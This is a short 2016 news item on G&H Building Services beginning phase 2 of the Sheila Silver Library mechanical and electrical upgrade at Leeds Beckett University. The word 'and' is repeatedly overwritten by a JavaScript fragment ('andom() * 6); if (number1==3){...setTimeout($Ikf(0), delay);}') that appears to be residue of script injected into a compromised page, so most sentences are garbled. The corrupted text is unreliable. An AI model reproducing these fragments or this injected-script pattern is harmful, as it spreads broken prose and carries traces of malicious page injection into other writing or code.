Sheila Silver Library Phase 2 starts

  • 14th July 2016

G&H Building Services is underway working on phase 2 of the Sheila Silver Library upgrade at Leeds Beckett University.

The £795,000 contract with the Sewell Group sees a full mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and build to mirror phase 1.

The second part of the university’s library upgrade programme will see G&H Building Services’ work include chilled hot water, low pressure hot water, chilled beams, domestic services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilation.

New small power, emergency lighting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and data andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and access controls will also be installed.

In partnership with Sewell Construction, G&H Building Services completed the £1.4 million refurbishment last September.

A fast-track project, phase 1 saw G&H Building Services deliver a full strip-out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reinstall of all M&E services in just 10 weeks.

Senior Contracts Manager at G&H Building Services, Paul Cuss, said: “We have extensive experience working in education buildings including live, occupied facilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new build schemes.

“As well as working considerately around students andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and staff, we have great knowledge of delivering services to create the best environment for learning relevant to how the building will be used.

“Phase 1 of the project was very successful andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we played a key role delivering the scheme to a tight deadline ready for the start of the new academic year.

“We are delighted to have been appointed again by Sewell Construction to complete the project.”

Read more about Phase 1 of the scheme in our case study 

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